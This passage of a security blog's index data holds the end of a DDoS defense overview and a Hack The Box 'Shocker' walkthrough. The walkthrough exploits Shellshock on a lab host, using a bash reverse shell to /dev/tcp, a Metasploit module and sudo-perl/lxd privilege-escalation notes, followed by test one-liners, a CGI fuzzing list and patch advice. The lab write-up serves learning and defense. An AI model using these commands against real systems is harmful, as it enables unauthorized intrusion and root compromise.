\u0026ldquo;sacrifice the pawn to save the king\u0026rdquo; approach to preserve link bandwidth for the remaining users. The reason this kind of paid service exists at all is that without it, the entire site would become completely inaccessible to all users.\nFor cloud-scrubbing vendors, they in fact also need to rely on blackhole routing in coordination with Telecom.\n(3) Host Configuration Nginx Configuration See: Rate Limiting with NGINX and NGINX Plus https://www.nginx.com/blog/rate-limiting-nginx/\nhttps://www.nginx.com/blog/mitigating-ddos-attacks-with-nginx-and-nginx-plus/ Limiting the Number of Connections\nYou can limit the number of connections a single client IP address can open to a value appropriate for real users. For example, you can allow each client IP address to open no more than 10 connections to the /store area of your site:\nlimit_conn_zone $binary_remote_addr zone=addr:10m; server { # ... location /store/ { limit_conn addr 10; # ... } } The limit_conn_zone directive configures a shared memory zone named addr to hold requests for a given key — in this case (as shown above) the client IP address $binary_remote_addr. The limit_conn directive in the /store location references the shared memory zone and sets a maximum of 10 connections per client IP address.\nClosing Slow Connections\nYou can close connections that write data too infrequently, which may indicate an attempt to keep a connection open as long as possible (thereby reducing the server\u0026rsquo;s ability to accept new connections). Slowloris is an example of this type of attack. The client_body_timeout directive controls how long NGINX waits between writes of the client body, and the client_header_timeout directive controls how long NGINX waits between writes of the client headers. The default for both directives is 60 seconds. This example configures NGINX to wait no more than 5 seconds between writes of the headers or body from the client:\nserver { client_body_timeout 5s; client_header_timeout 5s; # ... } iptables Host firewall Operating systems all ship with a software firewall; Linux servers generally use iptables. For example, to block requests from IP address 1.2.3.4, run the following command.\n$ iptables -A INPUT -s 1.2.3.4 -j DROP IV. Mainstream Industry Governance and Mitigation Approaches 1 Attack Governance Most governance methods must be configured before a DDoS happens, and they require effective cooperation among network operators, network companies, and organizations worldwide in order to counter DDoS reasonably well.\nTwo metrics for evaluating DDoS defense:\nFalse acceptance rate (missed alarms) False rejection rate (false alarms) The smaller these metrics, the better the DDoS defense.\n(1) Botnet Governance Infection → sample → reverse analysis → bot removal tool / communication interception rules\n(2) Governance of Address-Spoofing Attacks Technical level: CERT, IETF\nCERT Advisory CA-1996-21 Packets entering the internal network from an external interface whose source address belongs to the internal network (prevents attacks against the internal network) Packets sent outward from the internal network whose source address does not belong to the internal network (prevents attacks against external networks) RFC 2827 Ingress traffic filtering implemented on downstream routers, checking packet format Unicast Reverse Path Forwarding Unicast Reverse Path Forwarding (Unicast RPF) The router checks whether the source address and source port of incoming packets are in the routing table; if not, the packet is dropped. See IETF BCP 84 (3) Governance of Attack Reflection Points Reflection point types: ACK, SNMP, NTP, CHARGEN, DNS (the most common)Taking the most common type, the DNS reflection point, as an example, there are three classes of governance methods:\nOpen Resolver Project verification DDoS risks:\nThe DNS server can be accessed from any address No limit on the response rate to DNS query requests Install the Response Rate Limiting module An enhanced feature called Response Rate Limiting (RRL) has been added, aimed at mitigating DDoS amplification attacks.\nNIST SP 800-81 Secure domain deployment guidelines, focused on ensuring data integrity and origin authentication. (No DDoS governance observed.)\n2 Attack Mitigation Note: mitigation, not resolution.\nSystem optimization and adding bandwidth can indeed achieve some effect against small-scale DDoS. But first, the diminishing returns are obvious and it accomplishes little as DDoS bandwidth grows; second, it defies economic logic. Firewalls, intrusion detection, and intrusion prevention systems have trouble detecting today\u0026rsquo;s attack traffic that is \u0026ldquo;based on legitimate packets\u0026rdquo;. (1) Traffic Dilution Traffic scrubbing alone cannot handle large-scale network traffic, so traffic must first be diluted before scrubbing.\nTraffic dilution approaches\nCDN, to counter \u0026ldquo;DDoS launched against a domain name\u0026rdquo;. A more effective approach: Anycast. In anycast addressing, a network address and network nodes are one-to-many: each destination address maps to a group of receiving nodes, but a message is only sent to the node that is topologically closest. Anycast for stateless services is typically used to provide high-availability guarantees and load balancing. High availability. When one member of an Anycast group comes under attack, the router responsible for forwarding packets can decide how to forward them based on each member\u0026rsquo;s response time; since the attacked member is unresponsive, packets are not forwarded to it, and the traffic gets \u0026ldquo;diluted\u0026rdquo; across the other members. (2) Traffic Scrubbing Trade-offs: false positive rate, false negative rate.\nMultiple scrubbing techniques applied simultaneously:\nIP reputation checks Drop packets from low-reputation IPs first Extreme case =\u0026gt; IP blacklist mechanism Attack signature matching Extract signatures of attack tools Fingerprinting (static, dynamic) Learn new signatures, retire old ones Rate checks and limits Frequency and rate of request packets show obvious anomalies Limit the flow rate TCP proxying and verification Protocol integrity verification DNS protocol: if theTruncated bit (TC) in the Flags field of a name-resolution response is set, a normal client will resend the resolution request over TCP port 53. To improve efficiency, attack tools often do not process the server\u0026rsquo;s response data. The TC bit means \u0026ldquo;may be truncated\u0026rdquo;: when a UDP response would exceed 512 B, only the first 512 B of content are returned, truncated. Clients will usually resend the original query over TCP. HTTP protocol. Whether the client follows a 302 redirect can serve as a criterion. Client authenticity verification \u0026ldquo;Challenge-response\u0026rdquo; interactive verification JavaScript requests in HTTP CAPTCHAs In Huawei\u0026rsquo;s Anti-DDoS solution, HTTP-type attacks can be verified via \u0026ldquo;source authentication\u0026rdquo;.\nTCP/IP source authentication TCP proxy First-packet drop verification Application-layer source authentication 302 redirect (cannot defend against bot browsers) Meta Refresh redirect 307 redirect (POST) User source authentication CAPTCHA\u0026hellip;. 3 Related Work (1) Client Puzzle Schemes Problems generated by the server should not be solvable via parallel computation. Note: hash-based problems do not satisfy this requirement The discriminative power and difficulty of the problem Mind the adaptability (user experience) (2) Computation-Intensive Client Puzzle Schemes The client must consume considerable processor resources to solve the problem The \u0026ldquo;improved time-lock puzzle\u0026rdquo; resists concurrency and comprehensively lowers cost (3) Memory-Intensive Schemes Solving speed depends on the processing speed of the computer\u0026rsquo;s hardware Conclusion: the \u0026ldquo;improved time-lock\u0026rdquo; performs well overall =\u0026gt; it can serve as a basis for further analysis.\n(4) Algorithm Implementation MikroTik routers.\nBirthday attack and the birthday paradox\nTraffic model:\nComputer communication is typically bursty. 4 Counterattack \u0026amp;\u0026amp; Tracing Today, attacks with traffic over 100G can be filed as a criminal case, which is a big improvement over the past. In the old days, without connections to certain locally-flavored resources, you couldn\u0026rsquo;t even get a case opened. But opening a case is only the first step of a long march: if you actually want to find the person, you must successfully complete the following steps:\nFrom the mass of attacks, find clues to work backwards from, such as the IP of a likely C\u0026amp;C server or related domain names \u0026ldquo;Black\u0026rdquo; eats \u0026ldquo;black\u0026rdquo;: take down the C\u0026amp;C server Physically locate the attacker through login IPs or with the help of third-party APT big-data resources (if you can get access to them) Accompany the police (\u0026ldquo;uncles\u0026rdquo;) on the door-to-door arrest Sue in court If the person has no special status, you may well get your wish; but if you run into certain special individuals, months of your work goes down the drain. As for the ability to fight \u0026ldquo;black\u0026rdquo; with \u0026ldquo;black\u0026rdquo;, it depends on the security team itself having fairly strong penetration skills plus the leisure to do this kind of thing. For many companies the cost of this process is still a bit high: the barrier of merely having a capable security team is enough to eliminate the vast majority of companies. The author, in the past, merely happened by chance upon such a team.\nV. References Analysis of the Internet\u0026rsquo;s black market: The DDoS Apocalypse https://zhuanlan.zhihu.com/p/28698605 DDoS-Botnet Analysis Report for Hong Kong, China - Xianzhi Community https://xz.aliyun.com/t/2515 [Recommended reading] A DDoS attack prevention tutorial http://www.ruanyifeng.com/blog/2018/06/ddos.html Having Endured the \u0026ldquo;Baptism\u0026rdquo; of DDoS, Are You Still OK? https://www.xuecaijie.com/it/183.html How To Prevent DDoS Attacks? https://hostnoc.com/how-to-prevent-ddos-attacks/ What is a DDoS Attack and How to Prevent One in 2021 https://www.safetydetectives.com/blog/what-is-a-ddos-attack-and-how-to-prevent-one-in/ DDoS Attacks Up 31% in Q1 2021: Report https://beta.darkreading.com/attacks-breaches/ddos-attacks-up-31-in-q1-2021-report Rate Limiting with NGINX and NGINX Plus https://www.nginx.com/blog/rate-limiting-nginx/ A Brief Analysis of Large-Scale DDoS Defense Architecture - Handling T-scale Attack and Defense – ayazero | Vuln Life Legal Weapons Against DDoS Attacks - FreeBuf How to Report to the Cyber Police After Suffering a DDoS Attack https://mp.weixin.qq.com/s/28jH5IPjCjRvj57MjEHqpg http://blog.nsfocus.net/2021-ddos/ ","permalink":"https://www.unc.la/en/posts/penetration/vads9k/","summary":"\u003cp\u003eFor this quarter\u0026rsquo;s \u0026ldquo;dedicated learning session\u0026rdquo;, I picked a well-worn topic: DDoS. I hope it brings you some inspiration.\u003c/p\u003e\n\u003cp\u003eFor those readers who are prone to tl;dr, here are the conclusions up front:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDefending against DDoS attacks is a systems engineering effort — \u003cstrong\u003eno single method is absolutely effective\u003c/strong\u003e, hence \u003ccode\u003eNo silver bullet\u003c/code\u003e. In short, effort must be invested across system architecture, infrastructure traffic, business logic, disaster recovery plans, and other areas to defend against DDoS. See the \u003ca href=\"/en/posts/penetration/vads9k/#D3l2M\"\u003eWhat to Do When You Encounter DoS\u003c/a\u003e section of this post\u003c/li\u003e\n\u003cli\u003eAttack trends\n\u003col\u003e\n\u003cli\u003eCommon DDoS: large-packet SYN floods (core principle: \u003ccode\u003eresource exhaustion\u003c/code\u003e), TCP/UDP reflection (core principle: \u003ccode\u003esource IP spoofing\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003eGaming remains the industry most heavily targeted by DDoS attacks, accounting for \u003ccode\u003e39%\u003c/code\u003e of the overall distribution; in addition, live streaming, e-commerce, and other industries have become new targets of DDoS attacks\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFor properly registered legitimate businesses, if the DDoS traffic exceeds 100G, you can file a police report.\u003c/strong\u003e See the \u003ca href=\"/en/posts/penetration/vads9k/#VsV7z\"\u003e4 Counterattack and Tracing\u003c/a\u003e section of this post\u003c/li\u003e\n\u003c/ol\u003e\n\u003chr\u003e\n\u003ch1 id=\"i-what-is-ddos\"\u003eI. What Is DDoS\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cfont style=\"color:#333333;\"\u003eDDoS (Distributed Denial of Service), also known as a distributed denial-of-service attack. By controlling a botnet made up of numerous compromised machines (\u0026ldquo;chickens\u0026rdquo;) or servers, hackers send a large number of seemingly legitimate requests at the target, thereby consuming massive network resources, paralyzing the network, and preventing users from accessing network resources normally.\u003c/font\u003e\u003c/p\u003e","title":"A Brief Discussion of DDoS Attacks"},{"content":"Entry point nmap $ nmap -p- -sC -sV -Pn 10.10.10.56 -oA allport Nmap scan report for 10.10.10.56 Host is up (0.0037s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn\u0026#39;t have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Used hydra to brute-force SSH with fastrack.txt; nothing to gain.\n/cgi-bin/ Using binwalk and file, got nothing special\ndir searching\npython3 dirsearch.py -u http://10.10.10.56/ -e * _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564 Error Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log Target: http://10.10.10.56/ Output File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16 [23:26:16] Starting: [23:28:27] 403 - 299B - /.htaccess-dev [23:28:27] 403 - 301B - /.htaccess-local [23:28:27] 403 - 301B - /.htaccess-marco [23:28:28] 403 - 298B - /.htaccessBAK [23:28:28] 403 - 299B - /.htaccess.txt [23:28:28] 403 - 302B - /.htaccess.sample [23:28:28] 403 - 299B - /.htaccess.old [23:28:28] 403 - 300B - /.htaccess.orig [23:28:28] 403 - 300B - /.htaccess.save [23:28:28] 403 - 300B - /.htaccess.bak1 [23:28:28] 403 - 298B - /.htaccessOLD [23:28:28] 403 - 299B - /.htaccessOLD2 [23:28:28] 403 - 299B - /.htpasswd-old [23:28:28] 403 - 297B - /.httr-oauth [23:34:58] 403 - 294B - /cgi-bin/ after obtaining these, no progress.\nOSINT while searching for \u0026ldquo;shocker cgi-bin\u0026rdquo;, finding a open-source project named shocker, see https://github.com/nccgroup/shocker\nadd the ext of \u0026ldquo;.sh, .cgi\u0026rdquo; in dirbuster,\nalso, dirb [http://10.10.10.56/cgi-bin](http://10.10.10.56/cgi-bin) -X .cgi,.sh,.php,.py,.pl is supported.\n/cgi/bin/user.sh Content-Type: text/plain Just an uptime test script 11:46:01 up 1:16, 0 users, load average: 0.00, 0.00, 0.00 the exp of RCE can be used at least in 2 ways\n1st is the shock scirpt\n./shocker.py -H 10.10.10.56 -c \u0026#39;/cgi-bin/user.sh\u0026#39; # rce on shocker $ /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.122/1337 0\u0026gt;\u0026amp;1 No response # get reverse shell $ nc -lvp 1337 listening on [any] 1337 ... 10.10.10.56: inverse host lookup failed: Unknown host connect to [10.10.16.122] from (UNKNOWN) [10.10.10.56] 55964 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ ls user.sh shelly@Shocker:/usr/lib/cgi-bin$ id id uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) the 2nd is msf\nmsf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) \u0026gt; set lhost tun0 lhost =\u0026gt; tun0 msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) \u0026gt; set rhosts 10.10.10.56 rhosts =\u0026gt; 10.10.10.56 msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) \u0026gt; set targeturi /cgi-bin/user.sh targeturi =\u0026gt; /cgi-bin/user.sh msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] Command Stager progress - 100.46% done (1097/1092 bytes) [*] Sending stage (980808 bytes) to 10.10.10.56 priv esc sudo perl shelly@Shocker:/usr/lib/cgi-bin$ sudo -l sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl priv esc via lxd $ cat /etc/passwd ... lxd:x:106:65534::/var/lib/lxd/:/bin/false ... $ id uid=1000(shelly) ... 110(lxd) ... Note on ShellShock GNU Bash 4.3 and earlier versions contain a security vulnerability when evaluating certain specially crafted environment variables: appending extra strings after a function definition inside an environment variable value triggers the flaw. An attacker can exploit this vulnerability to change or bypass environment restrictions to execute shell commands. Some services and applications allow unauthenticated remote attackers to supply environment variables to exploit this vulnerability. The flaw exists because environment variables can be created with crafted values before the Bash shell is invoked. These variables can contain code that is executed immediately after the shell is called.\nThe following points are especially noteworthy:\nThe English name of this vulnerability is Shellshock; in Chinese, XCERT named it the \u0026ldquo;broken shell\u0026rdquo; (\u0026ldquo;Poke\u0026rdquo;) vulnerability. Per the CVSS score, the severity of Shellshock is rated 10 (the maximum) — the OpenSSL \u0026ldquo;Heartbleed\u0026rdquo; vulnerability that erupted this April was only a 5! The Shellshock vulnerability has existed for 25 years, as old as Bash itself. GNU Bash \u0026lt;= 4.3, this vulnerability may affect\nFor HTTP headers, the CGI script interpreter treats them as environment variables and sets them into temporary environment variables by invoking Bash\u0026rsquo;s env-related functions; The HTTP protocol allows clients to send arbitrary custom HTTP headers; This creates a complete scenario for Bash command injection: the client deliberately sends crafted HTTP headers carrying attack commands to the server; the server calls the function that sets environment variables and directly executes the commands contained in the client-supplied headers, and even returns the results back to the client. How It Works The principle of Shellshock is the exploitation of a flaw in how Bash imports environment variable functions: when Bash starts, it not only imports the function but also executes the commands that follow the function definition. In the design of some CGI scripts, data is passed through environment variables, which gives data providers an opportunity to exploit the Shellshock vulnerability.\nThe environment variables used by current versions of bash are invoked via function names. The problem arises because an environment variable whose definition starts with \u0026ldquo;(){\u0026rdquo; gets parsed into a function within the ENV command, after which Bash does not exit but continues to parse and execute shell commands. The core cause is that input filtering does not strictly enforce boundaries and performs no legal parameter validation.\nWhen an Apache server runs scripts using mod_cgi (not mod_php or mod_python), data is passed via environment variables — one of the oldest techniques in the Internet world.\nTesting The following commands can be used to check whether a system is vulnerable (run in your local Bash environment):\nShellshock 1, CVE-2014-6271, test method:\nenv x='() { :;}; echo vulnerable' bash -c \u0026quot;echo this is a test\u0026quot;\nIf the output is as follows, the system is vulnerable: vulnerable, this is a test\nShellshock 2, CVE-2014-7169, test method:\nenv -i X='() { (a)=\u0026gt;\\' bash -c 'echo date'; cat echo\nIf the output is as follows, the vulnerability is still present:\nbash: X: line 1: syntax error near unexpected token ='bash: X: line 1: 'bash: error importing function definition forX\u0026rsquo;Wed Sep 24 14:12:49 PDT 2014`\n\u0026hellip;\nFuzzing List According to ZoomEye\u0026rsquo;s fuzzing probes, the fuzzing list is as follows:\n/cgi-bin/load.cgi /cgi-bin/gsweb.cgi /cgi-bin/redirector.cgi /cgi-bin/test.cgi /cgi-bin/index.cgi /cgi-bin/help.cgi /cgi-bin/about.cgi /cgi-bin/vidredirect.cgi /cgi-bin/click.cgi /cgi-bin/details.cgi /cgi-bin/log.cgi /cgi-bin/viewcontent.cgi /cgi-bin/content.cgi /cgi-bin/admin.cgi /cgi-bin/webmail.cgi Remediation Recommendations You can now upgrade and patch Bash in the following ways:\nOperating System Upgrade Method Ubuntu/Debian apt-get update apt-get install bash RedHat/CentOS/Fedora yum update -y bash Arch Linux pacman -Syu OS X brew update brew install bash sudo sh -c \u0026rsquo;echo \u0026ldquo;/usr/local/bin/bash\u0026rdquo; \u0026raquo; /etc/shells\u0026rsquo; chsh -s /usr/local/bin/bash sudo mv /bin/bash /bin/bash-backup sudo ln -s /usr/local/bin/bash /bin/bash MacPorts sudo port self update sudo port upgrade bash After upgrading, it is recommended to run the diagnostic methods above to verify the patch is complete.\nReflections Threats always arrive when people least expect them — sometimes an unintended avalanche, sometimes deliberate scheming. \u0026ldquo;Viruses do not rest on Sundays\u0026rdquo; is a saying that must be passed on during onboarding for every new Antiy employee; we heard it from Bai Song, and we in turn have passed it on to Antiy newcomers. A threat may catch us off guard in an instant, but no threat can evade our perception and analysis for long.\nWe dedicate our work to our families, our comrades-in-arms, and our motherland\nreference https://www.anquanke.com/post/id/179407 https://fdlucifer.github.io/2020-01-20-Privilege-Escalation-via-lxd Shocker nccgroup / shocker https://blog.knownsec.com/2014/10/shellshock_response_profile_v4/ https://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/ https://raw.githubusercontent.com/citypw/DNFWAH/master/4/d4_0x07_DNFWAH_shellshock_bash_story_cve-2014-6271.txt https://www.antiy.com/response/Analysis_Report_on_Sample_Set_of_Bash_Shellshock.html https://blog.csdn.net/weixin_33709219/article/details/87981615 https://www.antiy.com/response/CVE-2014-6271.html https://www.smh.com.au/technology/stephane-chazelas-the-man-who-found-the-webs-most-dangerous-internet-security-bug-20140926-10mixr.html ","permalink":"https://www.unc.la/en/posts/penetration/ei96cl/","summary":"\u003ch1 id=\"entry-point\"\u003eEntry point\u003c/h1\u003e\n\u003ch2 id=\"nmap\"\u003enmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e$\u003c/span\u003e \u003cspan class=\"n\"\u003enmap\u003c/span\u003e \u003cspan class=\"n\"\u003e-p\u003c/span\u003e\u003cspan class=\"p\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003e-sC\u003c/span\u003e \u003cspan class=\"n\"\u003e-sV\u003c/span\u003e  \u003cspan class=\"n\"\u003e-Pn\u003c/span\u003e \u003cspan class=\"mf\"\u003e10.10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e56\u003c/span\u003e \u003cspan class=\"n\"\u003e-oA\u003c/span\u003e \u003cspan class=\"n\"\u003eallport\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e \u003cspan class=\"n\"\u003escan\u003c/span\u003e \u003cspan class=\"n\"\u003ereport\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"mf\"\u003e10.10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e56\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eHost\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eup\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e0037s\u003c/span\u003e \u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNot\u003c/span\u003e \u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"mf\"\u003e65533\u003c/span\u003e \u003cspan class=\"n\"\u003eclosed\u003c/span\u003e \u003cspan class=\"n\"\u003eports\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e     \u003cspan class=\"n\"\u003eSTATE\u003c/span\u003e \u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e \u003cspan class=\"n\"\u003eVERSION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e80\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e   \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003ehttp\u003c/span\u003e    \u003cspan class=\"n\"\u003eApache\u003c/span\u003e \u003cspan class=\"n\"\u003ehttpd\u003c/span\u003e \u003cspan class=\"mf\"\u003e2.4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e18\u003c/span\u003e \u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http-server-header:\u003c/span\u003e \u003cspan class=\"n\"\u003eApache\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"mf\"\u003e2.4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e18\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http-title:\u003c/span\u003e \u003cspan class=\"n\"\u003eSite\u003c/span\u003e \u003cspan class=\"n\"\u003edoesn\u003c/span\u003e\u003cspan class=\"err\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"n\"\u003et\u003c/span\u003e \u003cspan class=\"n\"\u003ehave\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e2222\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e \u003cspan class=\"n\"\u003eopen\u003c/span\u003e  \u003cspan class=\"n\"\u003essh\u003c/span\u003e     \u003cspan class=\"n\"\u003eOpenSSH\u003c/span\u003e \u003cspan class=\"mf\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e2p2\u003c/span\u003e \u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e \u003cspan class=\"n\"\u003e4ubuntu2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e2\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUbuntu\u003c/span\u003e \u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003eprotocol\u003c/span\u003e \u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"nb\"\u003essh-hostkey\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"mf\"\u003e2048\u003c/span\u003e \u003cspan class=\"n\"\u003ec4\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef8\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ead\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee8\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef8\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e04\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e77\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ede\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ecf\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e15\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e0d\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e63\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e0a\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e18\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e7e\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e49\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e   \u003cspan class=\"mf\"\u003e256\u003c/span\u003e \u003cspan class=\"mf\"\u003e22\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e8f\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb1\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e97\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ebf\u003c/span\u003e\u003cspan 